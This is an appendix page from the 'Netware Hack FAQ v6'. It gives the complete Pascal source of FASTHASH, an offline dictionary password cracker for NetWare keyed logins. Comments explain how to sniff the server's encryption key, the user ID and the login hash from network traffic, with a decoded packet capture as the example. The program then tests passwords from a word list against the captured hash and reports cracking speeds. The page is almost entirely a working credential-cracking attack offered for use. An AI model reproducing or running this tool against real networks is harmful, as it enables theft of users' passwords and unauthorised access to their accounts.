HostedDB - Dedicated UNIX Servers

-->
Netware Hack FAQ v6


Appendix Section

A-07. Source code to FASTHASH

Written in Pascal, the explanation of the code is inside the source.



{$R+,V-}

{This code was originaly written by Willem Jan Hengeveld
 Later the code was modified by anonymous.
 Code was moderatley optimized for speed by Greg Miller.
 Code was modified for an off-line password attack by Greg Miller.
}

{
----------------------------------------------------------------------------
     This program takes three parameters <encryption key> <hash> and
<user id>.  The encryption key is the value returned by the server when the
workstation calls GetEncryptionKey().  <hash> is the value the workstation
sends to the server to authenticate the login.  And <user id> is the ID
of the user loggin in.  All of this information can be easily sniffed from
the network while a user is loggin in.

     The following is a login session of a workstation named EBEURY to a
server at 00-00-F4-B0-36-88.  The relevant packets are #22, #24, #25.  The
fields needed are the KEY field in #22 (the encryption key), the Object ID
field in #24 (the user ID) and the KEY field in #25 (the hash).
     Lanalyzer for Windows was used to decode these packets.  Any packet
sniffer would do, however, you would have to decode the packets by hand.



Packet Number : 21          3:49:31 PM
       Station: EBEURY ----> 00-00-F4-B0-36-88
  ncp: ===================== NetWare Core Protocol =====================
       NCP Request: Get Log Key
       Request Type: 0x2222 (Request)
       Sequence Number: 17
       Connection Number Low: 3
       Task Number: 2
       Connection Number High: 0
       Function Code: 23
       Subfunction Length: 1 bytes
       Subfunction Code: 23

Packet Number : 22          3:49:31 PM
       Station: 00-00-F4-B0-36-88 ----> EBEURY
  ncp: ===================== NetWare Core Protocol =====================
       NCP Reply: Get Log Key
       Reply Type: 0x3333 (Reply)
       Sequence Number: 17
       Connection Number Low: 3
       Task Number: 1
       Connection Number High: 0
       Completion Code: 0 (Success)
       Connection Status: 0x00
       Key: 0x93 0xE3 0x79 0xC6 0xF2 0x8C 0x37 0x65

Packet Number : 23          3:49:31 PM
       Station: EBEURY ----> 00-00-F4-B0-36-88
  ncp: ===================== NetWare Core Protocol =====================
       NCP Request: Get Bindery Object ID
       Request Type: 0x2222 (Request)
       Sequence Number: 18
       Connection Number Low: 3
       Task Number: 2
       Connection Number High: 0
       Function Code: 23
       Subfunction Length: 11 bytes
       Subfunction Code: 53
       Object Type: 1 (User)
       Object Name: Length: 7
                    Value : GMILLER

Packet Number : 24          3:49:31 PM
       Station: 00-00-F4-B0-36-88 ----> EBEURY
  ncp: ===================== NetWare Core Protocol =====================
       NCP Reply: Get Bindery Object ID
       Reply Type: 0x3333 (Reply)
       Sequence Number: 18
       Connection Number Low: 3
       Task Number: 1
       Connection Number High: 0
       Completion Code: 0 (Success)
       Connection Status: 0x00
       Object ID: 0x0E000005
       Object Type: 1 (User)
       Object Name: GMILLER

Packet Number : 25          3:49:31 PM
       Station: EBEURY ----> 00-00-F4-B0-36-88
  ncp: ===================== NetWare Core Protocol =====================
       NCP Request: Keyed Login
       Request Type: 0x2222 (Request)
       Sequence Number: 19
       Connection Number Low: 3
       Task Number: 2
       Connection Number High: 0
       Function Code: 23
       Subfunction Length: 19 bytes
       Subfunction Code: 24
       Key: 0xA1 0x1B 0x89 0x9F 0xDA 0xA7 0x8A 0x79
       Object Type: 1 (User)
       Object Name: Length: 7
                    Value : GMILLER

Packet Number : 26          3:49:31 PM
       Station: 00-00-F4-B0-36-88 ----> EBEURY
  ncp: ===================== NetWare Core Protocol =====================
       NCP Reply: Keyed Login
       Reply Type: 0x3333 (Reply)
       Sequence Number: 19
       Connection Number Low: 3
       Task Number: 1
       Connection Number High: 0
       Completion Code: 0 (Success)
       Connection Status: 0x00

----------------------------------------------------------------------------
}



{The code before optimization achived 1524 passwords/sec on a Pentium 100Mhz.
 After optimization, the code achived 2600 passwords/sec.  After adding in
 the ability to read the passwords from a file, the code achieves 2300
 passwords/sec.}

{Before optimization:
  Assume processing time of 1524 passwords/sec on a Pentium 100Mhz
  Assume processing time of 636 passwords/sec on a 486 80Mhz
}

PROGRAM LOGON;
USES
  Dos,
  Crt;
TYPE
  Buf32 = ARRAY [0..31] OF BYTE;
  Buf16 = ARRAY [0..15] OF BYTE;
  Buf8  = ARRAY [0..7]  OF BYTE;
  Buf4  = ARRAY [0..3]  OF BYTE;
CONST
  EncryptTable : ARRAY [BYTE] OF BYTE =
($7,$8,$0,$8,$6,$4,$E,$4,$5,$C,$1,$7,$B,$F,$A,$8,
 $F,$8,$C,$C,$9,$4,$1,$E,$4,$6,$2,$4,$0,$A,$B,$9,
 $2,$F,$B,$1,$D,$2,$1,$9,$5,$E,$7,$0,$0,$2,$6,$6,
 $0,$7,$3,$8,$2,$9,$3,$F,$7,$F,$C,$F,$6,$4,$A,$0,
 $2,$3,$A,$B,$D,$8,$3,$A,$1,$7,$C,$F,$1,$8,$9,$D,
 $9,$1,$9,$4,$E,$4,$C,$5,$5,$C,$8,$B,$2,$3,$9,$E,
 $7,$7,$6,$9,$E,$F,$C,$8,$D,$1,$A,$6,$E,$D,$0,$7,
 $7,$A,$0,$1,$F,$5,$4,$B,$7,$B,$E,$C,$9,$5,$D,$1,
 $B,$D,$1,$3,$5,$D,$E,$6,$3,$0,$B,$B,$F,$3,$6,$4,
 $9,$D,$A,$3,$1,$4,$9,$4,$8,$3,$B,$E,$5,$0,$5,$2,
 $C,$B,$D,$5,$D,$5,$D,$2,$D,$9,$A,$C,$A,$0,$B,$3,
 $5,$3,$6,$9,$5,$1,$E,$E,$0,$E,$8,$2,$D,$2,$2,$0,
 $4,$F,$8,$5,$9,$6,$8,$6,$B,$A,$B,$F,$0,$7,$2,$8,
 $C,$7,$3,$A,$1,$4,$2,$5,$F,$7,$A,$C,$E,$5,$9,$3,
 $E,$7,$1,$2,$E,$1,$F,$4,$A,$6,$C,$6,$F,$4,$3,$0,
 $C,$0,$3,$6,$F,$8,$7,$B,$2,$D,$C,$6,$A,$A,$8,$D);

  ETable : ARRAY [BYTE] OF BYTE =
($70,$80,$00,$80,$60,$40,$E0,$40,$50,$C0,$10,$70,$B0,$F0,$A0,$80,
 $F0,$80,$C0,$C0,$90,$40,$10,$E0,$40,$60,$20,$40,$00,$A0,$B0,$90,
 $20,$F0,$B0,$10,$D0,$20,$10,$90,$50,$E0,$70,$00,$00,$20,$60,$60,
 $00,$70,$30,$80,$20,$90,$30,$F0,$70,$F0,$C0,$F0,$60,$40,$A0,$00,
 $20,$30,$A0,$B0,$D0,$80,$30,$A0,$10,$70,$C0,$F0,$10,$80,$90,$D0,
 $90,$10,$90,$40,$E0,$40,$C0,$50,$50,$C0,$80,$B0,$20,$30,$90,$E0,
 $70,$70,$60,$90,$E0,$F0,$C0,$80,$D0,$10,$A0,$60,$E0,$D0,$00,$70,
 $70,$A0,$00,$10,$F0,$50,$40,$B0,$70,$B0,$E0,$C0,$90,$50,$D0,$10,
 $B0,$D0,$10,$30,$50,$D0,$E0,$60,$30,$00,$B0,$B0,$F0,$30,$60,$40,
 $90,$D0,$A0,$30,$10,$40,$90,$40,$80,$30,$B0,$E0,$50,$00,$50,$20,
 $C0,$B0,$D0,$50,$D0,$50,$D0,$20,$D0,$90,$A0,$C0,$A0,$00,$B0,$30,
 $50,$30,$60,$90,$50,$10,$E0,$E0,$00,$E0,$80,$20,$D0,$20,$20,$00,
 $40,$F0,$80,$50,$90,$60,$80,$60,$B0,$A0,$B0,$F0,$00,$70,$20,$80,
 $C0,$70,$30,$A0,$10,$40,$20,$50,$F0,$70,$A0,$C0,$E0,$50,$90,$30,
 $E0,$70,$10,$20,$E0,$10,$F0,$40,$A0,$60,$C0,$60,$F0,$40,$30,$00,
 $C0,$00,$30,$60,$F0,$80,$70,$B0,$20,$D0,$C0,$60,$A0,$A0,$80,$D0);


  EncryptKeys : Buf32 =
($48,$93,$46,$67,$98,$3D,$E6,$8D,$B7,$10,$7A,$26,$5A,$B9,$B1,$35,
 $6B,$0F,$D5,$70,$AE,$FB,$AD,$11,$F4,$47,$DC,$A7,$EC,$CF,$50,$C0);

TYPE
  NetStr = STRING[47];
  GenStr = STRING[128];
  FourBytes = ARRAY [1..4] of BYTE;
  MemBlock = ARRAY [1..128] OF CHAR;

VAR
  rc   : BYTE;
  Regs : Registers;
  key,hash: buf8;
  id:FourBytes;
  x,y:integer;
  skey,shash,sid:string;

{ -------------------------------------------------------------- }

PROCEDURE Shuffle1(VAR temp : Buf32; VAR target);
VAR
  t  :  Buf16 ABSOLUTE target;
  b4 :  WORD;
  b3 :  BYTE;
  s, d, b2, i : WORD;
BEGIN
  b4 := 0;
    FOR s := 0 TO 31 DO BEGIN
      b3 := Lo(Lo(temp[s] + b4)
            XOR Lo(temp[(s + b4) AND 31]
          - EncryptKeys[s]));
      b4 := b4 + b3;
      temp[s] := b3;
    END;
    FOR s := 0 TO 31 DO BEGIN
      b3 := Lo(Lo(temp[s] + b4)
            XOR Lo(temp[(s + b4) AND 31]
          - EncryptKeys[s]));
      b4 := b4 + b3;
      temp[s] := b3;
    END;

    t[0]  := EncryptTable[temp[0]] OR  (ETable[temp[1]]);
    t[1]  := EncryptTable[temp[2]] OR  (ETable[temp[3]]);
    t[2]  := EncryptTable[temp[4]] OR  (ETable[temp[5]]);
    t[3]  := EncryptTable[temp[6]] OR  (ETable[temp[7]]);
    t[4]  := EncryptTable[temp[8]] OR  (ETable[temp[9]]);
    t[5]  := EncryptTable[temp[10]] OR  (ETable[temp[11]]);
    t[6]  := EncryptTable[temp[12]] OR  (ETable[temp[13]]);
    t[7]  := EncryptTable[temp[14]] OR  (ETable[temp[15]]);
    t[8]  := EncryptTable[temp[16]] OR  (ETable[temp[17]]);
    t[9]  := EncryptTable[temp[18]] OR  (ETable[temp[19]]);
    t[10] := EncryptTable[temp[20]] OR  (ETable[temp[21]]);
    t[11] := EncryptTable[temp[22]] OR  (ETable[temp[23]]);
    t[12] := EncryptTable[temp[24]] OR  (ETable[temp[25]]);
    t[13] := EncryptTable[temp[26]] OR  (ETable[temp[27]]);
    t[14] := EncryptTable[temp[28]] OR  (ETable[temp[29]]);
    t[15] := EncryptTable[temp[30]] OR  (ETable[temp[31]]);
END;

PROCEDURE Shuffle(VAR lon, buf; buflen : WORD; VAR target);
VAR
  l : Buf4 ABSOLUTE lon;
  b : ARRAY [0..127] OF BYTE ABSOLUTE buf;
  b2 : WORD;
  temp : Buf32;
  s, d : WORD;
BEGIN
  IF buflen > 0 THEN
     WHILE (buflen > 0) AND (b[buflen-1] = 0) DO
       buflen := buflen - 1;

  FillChar(temp, SizeOf(temp), #0);

  d := 0;
  WHILE buflen >= 32 DO BEGIN
    FOR s := 0 TO 31 DO BEGIN
      temp[s] := temp[s] XOR b[d];
      d := d + 1;
    END;
    buflen := buflen - 32;
  END;
  b2 := d;

  IF buflen > 0 THEN BEGIN
    FOR s := 0 TO 31 DO BEGIN
      IF d + buflen = b2 THEN BEGIN
        b2 := d;
        temp[s] := EncryptKeys[s];
      END
      ELSE BEGIN
        temp[s] := b[b2];
        b2 := b2 + 1;
      END;
    END;
  END;
    temp[0] := temp[0] XOR l[0];
    temp[1] := temp[1] XOR l[1];
    temp[2] := temp[2] XOR l[2];
    temp[3] := temp[3] XOR l[3];
    temp[4] := temp[4] XOR l[0];
    temp[5] := temp[5] XOR l[1];
    temp[6] := temp[6] XOR l[2];
    temp[7] := temp[7] XOR l[3];
    temp[8] := temp[8] XOR l[0];
    temp[9] := temp[9] XOR l[1];
    temp[10] := temp[10] XOR l[2];
    temp[11] := temp[11] XOR l[3];
    temp[12] := temp[12] XOR l[0];
    temp[13] := temp[13] XOR l[1];
    temp[14] := temp[14] XOR l[2];
    temp[15] := temp[15] XOR l[3];
    temp[16] := temp[16] XOR l[0];
    temp[17] := temp[17] XOR l[1];
    temp[18] := temp[18] XOR l[2];
    temp[19] := temp[19] XOR l[3];
    temp[20] := temp[20] XOR l[0];
    temp[21] := temp[21] XOR l[1];
    temp[22] := temp[22] XOR l[2];
    temp[23] := temp[23] XOR l[3];
    temp[24] := temp[24] XOR l[0];
    temp[25] := temp[25] XOR l[1];
    temp[26] := temp[26] XOR l[2];
    temp[27] := temp[27] XOR l[3];
    temp[28] := temp[28] XOR l[0];
    temp[29] := temp[29] XOR l[1];
    temp[30] := temp[30] XOR l[2];
    temp[31] := temp[31] XOR l[3];

  Shuffle1(temp, target);
END;

PROCEDURE Encrypt(VAR fra, buf, til);
VAR
  f : Buf8  ABSOLUTE fra;
  t : Buf8  ABSOLUTE til;
  k : Buf32;
  s : WORD;
BEGIN
  Shuffle(f[0], buf, 16, k[0]);
  Shuffle(f[4], buf, 16, k[16]);
    k[0] := k[0] XOR k[31];
    k[1] := k[1] XOR k[30];
    k[2] := k[2] XOR k[29];
    k[3] := k[3] XOR k[28];
    k[4] := k[4] XOR k[27];
    k[5] := k[5] XOR k[26];
    k[6] := k[6] XOR k[25];
    k[7] := k[7] XOR k[24];
    k[8] := k[8] XOR k[23];
    k[9] := k[9] XOR k[22];
    k[10] := k[10] XOR k[21];
    k[11] := k[11] XOR k[20];
    k[12] := k[12] XOR k[19];
    k[13] := k[13] XOR k[18];
    k[14] := k[14] XOR k[17];
    k[15] := k[15] XOR k[16];

    t[0] := k[0] XOR k[15];
    t[1] := k[1] XOR k[14];
    t[2] := k[2] XOR k[13];
    t[3] := k[3] XOR k[12];
    t[4] := k[4] XOR k[11];
    t[5] := k[5] XOR k[10];
    t[6] := k[6] XOR k[9];
    t[7] := k[7] XOR k[8];
END;

procedure LoginToFileServer(key_:buf8; hash:buf8; id:FourBytes);
VAR
  buf : Buf32;
  res : BYTE;
  x   : word;
  key : buf8;
  h1,m1,s1,ss1:word;
  h2,m2,s2,ss2:word;
  temp,temp1,temp2:real;
  t:word;
  passw:GenStr;
  notdone:boolean;
  guess:integer;
  tfile:text;

BEGIN
 assign(tfile,'pass.dat');
 reset(tfile);
 guess:=0;
 notdone:=true;
 GetTime(h1,m1,s1,ss1);
 while notdone do
  begin
   readln(tfile,passw);
   if eof(tfile) then
    begin
     notdone := false;
     writeln('No match found.  ',guess,' passwords tried');
    end;
   inc(guess);
   Shuffle(id, passw[1], Length(passw), buf);
   Encrypt(key_, buf, key);
   if (key[0]=hash[0]) and (key[1]=hash[1]) and (key[2]=hash[2]) and
      (key[3]=hash[3]) and (key[4]=hash[4]) and (key[5]=hash[5]) and
      (key[6]=hash[6]) and (key[7]=hash[7]) then
       begin
        writeln('Match found on:',passw,'.  ',guess,' passwords tried');
       end;
  end;
 GetTime(h2,m2,s2,ss2);
 writeln;
 temp1:=ss1/100 + s1 + m1*60 + h1 * 360;
 writeln('Begin:',temp1:10:2);
 temp2:=ss2/100 + s2 + m2*60 + h2 * 360;
 writeln('End:',temp2:10:2);
 writeln('Difference:',temp2-temp1:10:4);
END;

function htod (c:char):integer;
var y:integer;
begin
 c:=upcase(c);
 y:=ord(upcase(c));
 if y>57 then
   y:=y-55
 else
  y:=y-48;

 htod:=y;
end;

BEGIN
  if paramcount <>3 then
   begin
    writeln('Useage: novpass <encryption key> <hash> <user id>');
    writeln;
    writeln('e.g. novpass 5f18be7dcf479e8e 70605146df0d3630 0e000005');
   end;

  writeln;

  skey:=paramstr(1); shash:=paramstr(2); sid:=paramstr(3);

  for x:=1 to 16 do
   begin
    y:=x div 2;
    key[y]:=htod(skey[x])*16;
    x:=x+1;
    key[y]:=key[y]+htod(skey[x]);
   end;
  for x:=1 to 16 do
   begin
    y:=x div 2;
    hash[y]:=htod(shash[x])*16;
    x:=x+1;
    hash[y]:=hash[y]+htod(shash[x]);
   end;
  for x:=1 to 8 do
   begin
    y:=(x div 2) +1;
    id[y]:=htod(sid[x])*16;
    x:=x+1;
    id[y]:=id[y]+htod(sid[x]);
   end;

  LoginToFileServer(key,hash,id);
END.

[ Return to TOC | Return to FAQ Page ]